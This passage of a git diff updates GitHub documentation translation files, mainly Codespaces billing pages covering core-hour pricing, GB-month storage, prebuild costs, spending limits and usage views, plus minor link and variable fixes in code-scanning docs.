that hosts the codespace. For example, if you use a 2-core machine for your codespace and it's active for an hour, you have used 2 core hours. If you use an 8-core machine for an hour, you have used 8 core hours. If you use an 8-core machine for two hours, you have used 16 core hours. + +{% endnote %} + +You will be notified by email when you have used 75%, 90%, and 100% of your included quotas. Notifications are also displayed in a "toast" message within {% data variables.product.prodname_vscode_shortname %} and the {% data variables.product.prodname_vscode_shortname %} web client. You can turn off email notifications if required. For more information, see "[Managing the spending limit for GitHub Codespaces](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-usage-and-spending-limit-email-notifications)." + +When a personal account has used all of either the included storage or compute usage (whichever is reached first), and has no spending limit configured, use of {% data variables.product.prodname_github_codespaces %} will be blocked. You must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. At the beginning of the next monthly billing cycle the included usage is reset. Storage will not be billed while use of {% data variables.product.prodname_github_codespaces %} is blocked. + +You can view details of your usage for the current month at any time. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)." + +If you are blocked from resuming a codespace and you want to continue to work on changes you have made in your codespace, you can do any of the following: + +- Add a payment method and a spending limit greater than $0 USD. +- Export the changes from the codespace to a branch. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)." +- Wait for your monthly included usage to reset at the start of the next monthly billing cycle. + +If you have used all of either your included storage usage or your included compute usage, and you have set up a payment method and a spending limit, any further use of codespaces owned by your personal account will incur charges for whichever type of usage has no remaining included quota. You will not be charged for the other type of usage until you have also used all of its included quota. + +### Pricing for paid usage + +A {% data variables.product.prodname_github_codespaces %} instance (a "codespace") incurs charges for compute time, while it is active, and for the amount of disk space the codespace occupies, while it exists. The compute cost is proportional to the number of processor cores in the machine type you choose for your codespace, as shown in the table below. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine. + +| Component | Machine type | Unit of measure | Included usage multiplier | Price | +| ------------------- | ------------ | --------------- | ------------------------- | ----- | +| Codespaces compute | 2 core | 1 hour | 2 | $0.18 | +| | 4 core | 1 hour | 4 | $0.36 | +| | 8 core | 1 hour | 8 | $0.72 | +| | 16 core | 1 hour | 16 | $1.44 | +| | 32 core | 1 hour | 32 | $2.88 | +| Codespaces storage | Storage | 1 GB-month* | N/A | $0.07 | * See "[Billing for storage usage](#billing-for-storage-usage)" below for details of the GB-month unit of measure. @@ -46,29 +83,38 @@ If you enable prebuilding of codespaces this will incur additional charges. For {% data variables.product.prodname_github_codespaces %} is billed in US dollars (USD) according to the amount of compute time and storage space your codespaces use. {% data reusables.codespaces.codespaces-monthly-billing %} -Your {% data variables.product.prodname_github_codespaces %} usage shares your organization or enterprise account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)." +Billing for {% data variables.product.prodname_github_codespaces %} shares your account's existing payment method, and receipt. For more information, see "[Viewing your subscriptions and billing date](/articles/viewing-your-subscriptions-and-billing-date)." {% ifversion ghec %} If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." {% endif %} ### Billing for compute usage -The compute usage of a codespace is the number of minutes for which that codespace is active. Total compute usage is calculated by summing the number of minutes used by all codespaces that are billable to the organization or enterprise. These totals are reported to the billing service every hour, and are billed monthly. +The compute usage of a codespace is the length of time for which that codespace is active multiplied by the multiplier in the pricing table for the machine type of the codespace. Total compute usage is calculated by summing the time used by all codespaces billable to a particular account. These totals are reported to the billing service every hour, and are billed monthly. As an example, if a codespace is active for 1 hour and 15 minutes, then the compute cost will be the hourly cost of the codespace, as determined by its machine type, multiplied by 1.25. -You can restrict compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)." +You can control compute usage by stopping your codespaces. For information, see "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)." Codespaces are stopped automatically after a configurable period of inactivity. The timeout period can be configured by the user, or at the organization level. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)" and "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)." ### Billing for storage usage -For {% data variables.product.prodname_github_codespaces %} billing purposes, storage compromises the disk space used by all of the codespaces and prebuilds in your account. This includes any files used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or stopped. The storage billing for a codespace ends when it is deleted. +For {% data variables.product.prodname_github_codespaces %} billing purposes, storage comprises the disk space used by all of the codespaces and prebuilds in your account. This includes any files you use in a codespace, such as cloned repositories, configuration files, data loaded to the codespace (for example as input or output of the software running in the repository), and extensions, among others. Storage is billed for all of your existing codespaces, regardless of whether they are active or inactive with the exception of blocked usage due to exhausted included usage quota or reaching your spending limit. The storage billing for a codespace ends when it is deleted. -Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage, is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month. +{% note %} -For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of GitHub Codespaces during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of: `(24 * 3) * 200 / (24 * 30) = 20` GB-months. +**Notes**: + +- When you use the default dev container configuration (see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#using-the-default-dev-container-configuration)"), we do not count the default container as used storage. When you create a custom container using a dev container configuration with a different base image we do count the container as used storage. +- When you rebuild your container from the default image we do not count the base container as used storage. For other base images all of the storage consumed by the codespace, including the base container, is counted as used storage. + +{% endnote %} + +Codespace storage is reported in GB-months. Your billing month runs from a fixed day in one month until the same day in the next month. In most cases the day of the month is determined by the day you started on your current {% data variables.product.prodname_dotcom %} plan. Your GB-month storage is calculated as follows. Once every hour, the storage used by all of your currently active and stopped codespaces is assessed. This figure is then divided by the number of hours in the current billing month: `total storage size / hours this month`. The result is added to the running total for codespace storage for the month. + +For example, if you have one codespace that uses 100 GB of storage and has existed for one hour you will have used `100 / (24 * 30) = 0.1388` GB-months of storage in a 30-day month. If your use of {% data variables.product.prodname_github_codespaces %} during a 30-day month consists of two 100 GB codespaces that both existed for three full days then there will be `24 * 3` hourly reports for the storage of these codespaces, giving a total of `(24 * 3) * 200 / (24 * 30) = 20` GB-months. For each hourly report, the storage usage for the previous hour is calculated in seconds. As a result, you won't be charged for a full hour of storage if a codespace did not exist for the full 60 minutes. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. -As an organization owner, you can: +Organization owners can: - List the currently active and stopped codespaces for your organization. For more information, see "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)." In addition to the cost of these codespaces, the cost of {% data variables.product.prodname_github_codespaces %} for the current month may include costs for codespaces that existed earlier in the current month but have since been deleted. - See the total {% data variables.product.prodname_github_codespaces %} compute and storage usage for your organization for the current month to date. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)." - Configure your organization settings to manage the cost of {% data variables.product.prodname_github_codespaces %}. For more information, see "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)." @@ -81,28 +127,32 @@ To estimate the costs for metered services, you can use the {% data variables.pr #### {% data variables.product.prodname_actions %} costs for prebuilds -Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. By default, prebuilds are updated every time you modify the prebuild configuration, or push changes to a prebuild-enabled branch. As with other workflows, while prebuild workflows are running they will either consume some of the Actions minutes included with your account, if you have any, or they will incur charges for Actions minutes. For more information about pricing for Actions minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds. +Prebuilds are created and updated by running a {% data variables.product.prodname_actions %} workflow on a {% data variables.product.prodname_dotcom %}-hosted runner. You can configure how you want prebuild updates to be automatically triggered. For information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." -To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." +As with other workflows, while prebuild workflows are running they consume {% data variables.product.prodname_actions %} minutes included with your account, if you have any, or they incur charges for {% data variables.product.prodname_actions %} minutes. For more information about pricing for {% data variables.product.prodname_actions %} minutes, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." There is no associated {% data variables.product.prodname_codespaces %} compute cost for creating or updating prebuilds. -If you are an organization or enterprise owner, you can track usage of prebuild workflows and storage by downloading a usage report for your organization or enterprise. You can identify workflow runs for prebuilds by filtering the CSV output to only include the workflow called "Create {% data variables.product.prodname_github_codespaces %} Prebuilds." For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-organization)." +You can track usage of prebuild workflows and storage by downloading a usage report for your account. For more information, see "[Viewing your {% data variables.product.prodname_github_codespaces %} usage](/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage)." #### Storage costs for prebuilds -In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces. +In addition to {% data variables.product.prodname_actions %} minutes, you will also be billed for the storage of prebuilds associated with each prebuild configuration, for a given repository and region. Storage of prebuilds is billed at the same rate as storage of codespaces. The storage cost for a prebuild in a single region will be similar to the storage cost that will be incurred for storing a single codespace created from that prebuild. The storage cost for the generated codespace may be more than the cost for the prebuild if, for example, the `updateContentCommand` and `postCreateCommand` commands are used during codespace creation to download more files to the dev container. -The total storage costs associated with a prebuild will depend on: +The total storage costs associated with a prebuild configuration will depend on the following factors. -* The price of storage per GB. See the table above. -* The size of the generated prebuild in GB. -* The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region). -* The number of older versions of the prebuild that are retained. +- The price of storage per GB. See the table above. +- The size of the generated prebuild in GB. +- The number of regions in which the prebuild is available (because a copy of the prebuild is stored in each region). +- The number of older versions of the prebuild that are retained. -The storage cost for a prebuild is therefore calculated as: `price per GB * size (GB) * regions * versions`. +The storage cost for the prebuilds generated by a prebuild configuration is therefore calculated as: `price per GB * size (GB) * regions * versions`. -To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-a-prebuild)." +#### Controlling the cost of prebuilds + +To reduce consumption of Actions minutes, you can set a prebuild to be updated only when you make a change to your dev container configuration files, or only on a custom schedule. You can also manage your storage usage by adjusting the number of previous versions of each prebuild that are retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." + +To limit the storage costs associated with prebuilds, you can choose to create prebuilds only in selected regions, and you can specify the number of older versions of prebuilds that will be retained. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." {% note %} @@ -116,29 +166,31 @@ Use of codespaces created using prebuilds is charged at the same rate as regular ## Setting a spending limit -{% data reusables.codespaces.codespaces-spending-limit-requirement %} +{% data reusables.codespaces.codespaces-spending-limit-requirement %} -For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)." +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)." {% data reusables.codespaces.exporting-changes %} -## Limiting the choice of machine types +## Limiting the machine types for organization-owned codespaces -By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace"](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)." +By default the machine type with the lowest valid resources is used when a codespace is created. However, users may be able to choose a machine type with more resources. They can do this either when they create a codespace, or they can change the machine type of an existing codespace. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)" and "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)." -If a machine type that has more resources is chosen, this will affect the per-minute charge for that codespace, as shown above. +If a machine type that has more resources is chosen, this will affect the per-hour charge for that codespace, as shown above. -Organization owners can create a policy to restrict the machine types that are available to users. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)." +Organization owners can create a policy to limit the choice of machine types available to users for codespaces that are billed to an organization or enterprise account. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)." ## How billing is handled for forked repositories -To incur charges to an organization account (or to an enterprise account, if the organization belongs to an enterprise), the user must be a member or collaborator of that organization, otherwise they cannot create a codespace for which the organization, or its parent enterprise, would be billed. +Usage of codespaces created from a forked repository will be billed to your personal account unless the upstream (or parent) repository is in an organization that has allowed you - as a member, or outside collaborator, of the organization - to use codespaces at the organization's expense. + +For example, consider a member, or outside collaborator, of an organization that has allowed billing for codespaces for that user. If the user has permission to fork an organization-owned private repository, they can subsequently create and use a codespace for the new repository at the organization's expense. This is because the organization is the owner of the parent repository. Note that the organization owner can remove the user's access to the private repository, the forked repository, and therefore also the codespace. The organization owner can also delete the parent repository which will also delete the forked repository. For more information, see "[Managing the forking policy for your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository)." + +{% data reusables.codespaces.codespaces-disabling-org-billing %} -For example, a user in an organization can fork a repository within that organization, and can subsequently use a codespace billed to the organization. This is because the organization is the owner of the parent repository, and can remove the user's access, the forked repository, and the codespace. - ## How billing is handled when a repository is transferred to another organization -Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling GitHub Codespaces for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly. +Usage is calculated every hour. An organization pays for usage of codespaces created from any repository owned by the organization, where the organization settings permit the organization to be billed. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization)." When a repository is transferred out of your organization, ownership and billing responsibility for any codespaces associated with that repository will change accordingly. ## What happens when users are removed diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/index.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/index.md index 839d5dc496..d38eeec17c 100644 --- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/index.md +++ b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/index.md @@ -5,10 +5,9 @@ intro: 'You can view your usage and set a spending limit for {% data variables.p versions: fpt: '*' ghec: '*' -product: '{% data reusables.gated-features.codespaces %}' children: - /about-billing-for-github-codespaces - /viewing-your-github-codespaces-usage - - /managing-spending-limits-for-github-codespaces + - /managing-the-spending-limit-for-github-codespaces --- diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md deleted file mode 100644 index 929ebfd3e8..0000000000 --- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Managing spending limits for GitHub Codespaces -intro: 'You can set a spending limit for {% data variables.product.prodname_github_codespaces %} usage.' -versions: - fpt: '*' - ghec: '*' -type: how_to -product: '{% data reusables.gated-features.codespaces %}' -topics: - - Codespaces - - Enterprise - - Organizations - - Spending limits - - User account - - Billing -shortTitle: Spending limits -redirect_from: - - /billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces ---- -## About spending limits for {% data variables.product.prodname_github_codespaces %} - -{% data reusables.codespaces.codespaces-spending-limit-requirement %} - -{% data reusables.codespaces.codespaces-monthly-billing %} - -Once you've reached your spending limit, your organization or repository will no longer be able to create new codespaces, and won't be able to start existing codespaces. Any existing codespaces that are still running will not be shutdown; if you don't change the spending limit, you will not be charged for the amount that exceeds the limit. - -For more information about pricing for {% data variables.product.prodname_github_codespaces %} usage, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." - -{% ifversion ghec %} -## Using your Azure Subscription -If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_github_codespaces %} usage. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." -{% endif %} - -## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your organization - -Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an organization. - -{% data reusables.organizations.billing-settings %} -{% data reusables.dotcom_billing.manage-spending-limit %} -{% data reusables.dotcom_billing.monthly-spending-limit-codespaces %} -{% data reusables.dotcom_billing.update-spending-limit %} - -{% ifversion ghec %} -## Managing the spending limit for {% data variables.product.prodname_codespaces %} for your enterprise account - -Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_github_codespaces %} for an enterprise account. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.billing-tab %} -1. Click **Spending Limit**. - ![Spending limit tab](/assets/images/help/settings/spending-limit-tab-enterprise.png) -{% data reusables.dotcom_billing.monthly-spending-limit %} -{% data reusables.dotcom_billing.update-spending-limit %} -{% endif %} - -## Exporting changes when you have reached your spending limit - -{% data reusables.codespaces.exporting-changes %} -## Managing usage and spending limit email notifications - -Email notifications are sent to account owners and billing managers when spending reaches 50%, 75%, 90%, and 100% of your account's spending limit. - -You can disable these notifications anytime by navigating to the bottom of the **Spending Limit** page. - -![Screenshot of the billing email notification settings](/assets/images/help/billing/codespaces-spending-limit-notifications.png) - -## Further reading - -- "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)" -- "[Managing the cost of {% data variables.product.prodname_github_codespaces %} in your organization](/codespaces/managing-codespaces-for-your-organization/managing-the-cost-of-github-codespaces-in-your-organization)" diff --git a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md index f0af1803dd..ad11575bec 100644 --- a/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md +++ b/translations/es-ES/content/billing/managing-billing-for-github-codespaces/viewing-your-github-codespaces-usage.md @@ -1,9 +1,7 @@ --- -title: Visualización del uso de GitHub Codespaces +title: Viewing your GitHub Codespaces usage shortTitle: Viewing your usage -intro: 'Puedes ver los minutos de proceso y almacenamiento que utilizan los {% data variables.product.prodname_github_codespaces %}.' -permissions: 'To manage billing for {% data variables.product.prodname_github_codespaces %} for an organization, you must be an organization owner or a billing manager.' -product: '{% data reusables.gated-features.codespaces %}' +intro: 'You can view the compute hours and storage used by {% data variables.product.prodname_github_codespaces %}.' versions: fpt: '*' ghec: '*' @@ -13,46 +11,63 @@ topics: - Billing redirect_from: - /billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage -ms.openlocfilehash: c3024840f48bda68470b9ab12693f4a79daddb48 -ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 10/25/2022 -ms.locfileid: '148107153' --- -## Visualización del uso de {% data variables.product.prodname_github_codespaces %} para la organización -Los propietarios de la organización y los administradores de facturación pueden ver el uso de {% data variables.product.prodname_github_codespaces %} en una organización. Para las organizaciones que administra una cuenta empresarial, los propietarios de estas pueden ver el uso de los {% data variables.product.prodname_github_codespaces %} en la página de facturación de la misma y los administradores empresariales pueden ver el uso de toda la empresa. +## Viewing {% data variables.product.prodname_github_codespaces %} usage for your personal account + +You can see how much of the usage included in your personal account you have used so far in the current monthly billing cycle. If you have set up a payment method, set a spending limit, and used all of your included usage, you can also check your bill for the current month. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.billing_plans %} +1. Under "{% data variables.product.prodname_codespaces %}," you can see how many core hours of {% data variables.product.prodname_github_codespaces %} compute usage and GB-months of storage you have used so far in the current billing month. + + ![Screenshot of the initial view of personal usage](/assets/images/help/codespaces/view-personal-usage-collapsed.png) + + For information about "core hours" and "GB-months," see "[About billing for {% data variables.product.prodname_github_codespaces %}](/enterprise-cloud@latest/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)." + +1. Optionally, click **Usage hours** and **Storage** to see more details. + + ![Screenshot of the expanded view of personal usage](/assets/images/help/codespaces/view-personal-usage-expanded.png) + + The **Included** column shows how many of the core hours of compute usage, or GB-months of storage, included free with your account, you have used so far this month. The **Paid** column shows how many billed core hours of usage, or GB-months of storage, you have used. The figures are updated once every hour. + + In the screenshot above, the entire quota of included storage for the month has been used. When you've used all of either the included compute usage or storage (whichever is reached first), you must set up a payment method and a spending limit to continue using {% data variables.product.prodname_github_codespaces %} during the current billing month. For more information, see "[Adding or editing a payment method](/enterprise-cloud@latest/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method)" and "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces#managing-the-github-codespaces-spending-limit-for-your-personal-account)." + +{% data reusables.codespaces.usage-report-download %} + +## Viewing {% data variables.product.prodname_github_codespaces %} usage for your organization account + +Organization owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for the organization. {% data reusables.organizations.billing-settings %} -1. En "{% data variables.product.prodname_codespaces %}", consulta los detalles de las horas de proceso y el almacenamiento usados hasta ahora. +1. Under "{% data variables.product.prodname_codespaces %}", view the details of the compute hours and storage used so far this month. - ![Detalles de los minutos de uso](/assets/images/help/billing/codespaces-compute-storage.png) + ![Screenshot of compute usage and storage details](/assets/images/help/billing/codespaces-compute-storage.png) - También puedes ver y actualizar el límite de gasto actual. Para más información, consulta "[Administración de los límites de gasto para {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-github-codespaces)". + You can also see and update your current spending limit. For more information, see "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)." {% note %} - **Notas**: - * Los costos que se muestran aquí son los costos acumulados en el periodo de facturación mensual actual. Los costos medidos de {% data variables.product.prodname_github_codespaces %} que se muestran en esta página se restablecen a cero al principio de cada periodo de facturación mensual. Los costos pendientes de los meses anteriores no se muestran. - * Las cifras de esta página se actualizan cada hora. + **Notes**: + * The costs shown here are the cumulative costs within the current monthly billing period. The metered costs for {% data variables.product.prodname_github_codespaces %} shown on this page are reset to zero at the start of each monthly billing period. Outstanding costs from previous months are not shown. + * The figures on this page are updated every hour. {% endnote %} -{% data reusables.dotcom_billing.actions-packages-report-download-org-account %} Los datos usados para este informe se actualizan diariamente. -1. Filtra el informe para mostrar solo las filas que mencionan "Codespaces" en el campo `Product`. - - ![Un informe de uso filtrado por Codespaces](/assets/images/help/codespaces/CSV-usage-report.png) +{% data reusables.codespaces.usage-report-download %} {% ifversion ghec %} -## Visualización del uso de {% data variables.product.prodname_codespaces %} para la cuenta de empresa +## Viewing {% data variables.product.prodname_codespaces %} usage for your enterprise account -Los propietarios de empresas y los administradores de facturación pueden ver el uso de {% data variables.product.prodname_github_codespaces %} para una cuenta de empresa. +Enterprise owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for an enterprise account. -{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} -1. En "Uso mensual de {% data variables.product.prodname_codespaces %}", puedes ver los detalles de uso de cada organización en tu cuenta empresarial. -{% data reusables.enterprise-accounts.actions-packages-report-download-enterprise-accounts %} {% endif %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.billing-tab %} +1. Under "{% data variables.product.prodname_codespaces %} monthly usage", view the usage details of each organization in your enterprise account. +{% data reusables.codespaces.usage-report-download %} +{% endif %} -## Información adicional +## Further reading -- "[Enumeración de codespaces en la organización](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)" +- "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)" diff --git a/translations/es-ES/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md b/translations/es-ES/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md index 7cf84a8886..a381d45f9f 100644 --- a/translations/es-ES/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md +++ b/translations/es-ES/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md @@ -65,7 +65,7 @@ Once you have decided on the secret types, you can do the following: {% ifversion not ghae %} - You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)." + You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in security overviews](/code-security/security-overview/filtering-alerts-in-the-security-overview)." {% endif %} diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md index bfb8740fb1..18035b7dd4 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md @@ -47,7 +47,7 @@ Before you can configure {% data variables.product.prodname_code_scanning %} for {% data reusables.code-scanning.edit-workflow %} -{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.product.prodname_codeql_workflow %} file. +{% data variables.product.prodname_codeql %} analysis is just one type of {% data variables.product.prodname_code_scanning %} you can do in {% data variables.product.prodname_dotcom %}. {% data variables.product.prodname_marketplace %}{% ifversion ghes %} on {% data variables.product.prodname_dotcom_the_website %}{% endif %} contains other {% data variables.product.prodname_code_scanning %} workflows you can use. {% ifversion fpt or ghec %}You can find a selection of these on the "Get started with {% data variables.product.prodname_code_scanning %}" page, which you can access from the **{% octicon "shield" aria-label="The shield symbol" %} Security** tab.{% endif %} The specific examples given in this article relate to the {% data variables.code-scanning.codeql_workflow %} file. ## Editing a {% data variables.product.prodname_code_scanning %} workflow @@ -63,13 +63,13 @@ For more information about editing workflow files, see "[Learn {% data variables ## Configuring frequency -You can configure the {% data variables.product.prodname_codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. +You can configure the {% data variables.code-scanning.codeql_workflow %} to scan code on a schedule or when specific events occur in a repository. Scanning code when someone pushes a change, and whenever a pull request is created, prevents developers from introducing new vulnerabilities and errors into the code. Scanning 